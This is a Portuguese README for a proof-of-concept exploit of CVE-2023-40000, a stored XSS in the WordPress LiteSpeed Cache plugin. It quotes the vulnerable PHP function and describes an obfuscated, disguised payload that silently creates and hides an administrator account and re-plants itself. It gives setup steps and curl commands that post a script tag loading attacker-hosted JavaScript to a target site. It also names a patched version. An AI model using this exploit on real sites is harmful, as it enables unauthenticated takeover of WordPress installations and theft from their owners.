
PoC para vulnerabilidade de XSS no plugin LiteSpeed Cache do WordPress (CVE-2023-40000) que permite elevação de privilégios. Inclui código, explicações e mitigações.
PoC para vulnerabilidade de XSS no plugin LiteSpeed Cache do WordPress que permite elevação de privilégios. Esta vulnerabilidade foi corrigida na versão 5.7.0.1 do plugin e recebeu o identificador CVE-2023-40000. De acordo com a página de visão avançada do plugin, cerca de 35% dos usuários ainda estão usando uma versão vulnerável (<5.7.0.1), o que soma cerca de 1,8 milhão de sites.
Devido à falta de sanitização de entrada na função update_cdn_status, usuários (não autenticados) conseguem enviar uma requisição POST com um valor de formulário _msg infectado, que é armazenado e depois exibido na seção administrativa do WordPress. Isso pode permitir que qualquer pessoa crie contas de administrador, eleve privilégios ou roube informações confidenciais apenas enviando uma requisição POST não autenticada. A função vulnerável pode ser encontrada aqui ou abaixo, e a função Admin_Display::error pode ser encontrada aqui.
/**
* Callback for updating Auto CDN Setup status after run
*
* @since 4.7
* @access public
*/
public function update_cdn_status() {
if ( !isset( $_POST[ 'success' ] ) || !isset( $_POST[ 'result' ] ) ) {
self::save_summary( array( 'cdn_setup_err' => __( 'Received invalid message from the cloud server. Please submit a ticket.', 'litespeed-cache' ) ) );
return self::err( 'lack_of_param' );
}
if (!$_POST[ 'success' ]) {
self::save_summary( array( 'cdn_setup_err' => $_POST[ 'result' ][ '_msg' ] ) );
Admin_Display::error( __( 'There was an error during CDN setup: ', 'litespeed-cache' ) . $_POST[ 'result' ][ '_msg' ] );
} else {
$this->_process_cdn_status($_POST[ 'result' ]);
}
return self::ok();
}
A prova de conceito neste repositório contém um servidor NodeJS express projetado para ofuscar e entregar o payload de XSS, além de capturar pings e dados recebidos. O script do payload demonstra as ações potenciais de invasores que exploram esta vulnerabilidade: ele cria uma conta de administrador com o nome de usuário "wp-config-user" e senha "somepassword123". O payload de XSS, que também está disfarçado como admin-bar-reloaded.min, oculta o popup inicial de XSS ao carregar, esconde completamente o usuário criado na página administrativa users.php e repete a requisição POST inicial para manter um XSS armazenado persistente.
npm install para instalar as dependências.node index.js.Use o seguinte comando cURL para enviar a requisição POST ao endpoint vulnerável:
curl -X POST "https://target.website/wordpress/wp-json/litespeed/v1/cdn_status" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "success=0&result[_msg]=<script src=https://your.server/admin-bar-reloaded.min.js></script>"
curl -X POST "https://target.website/wordpress/wp-json/litespeed/v1/cdn_status" ^
-H "Content-Type: application/x-www-form-urlencoded" ^
-d "success=0&result[_msg]=<script src=https://your.server/admin-bar-reloaded.min.js></script>"
Os conteúdos deste repositório são fornecidos estritamente para fins educacionais e de pesquisa. Não sou responsável por qualquer uso indevido ou atividades ilegais decorrentes do uso desta prova de conceito. Além disso, um aviso foi emitido na página do plugin LiteSpeed Cache aconselhando todos os usuários a atualizarem seu software devido a esta vulnerabilidade conhecida. Certifique-se de que suas instalações estejam atualizadas para a versão 5.7.0.1 ou posterior para mitigar esse problema.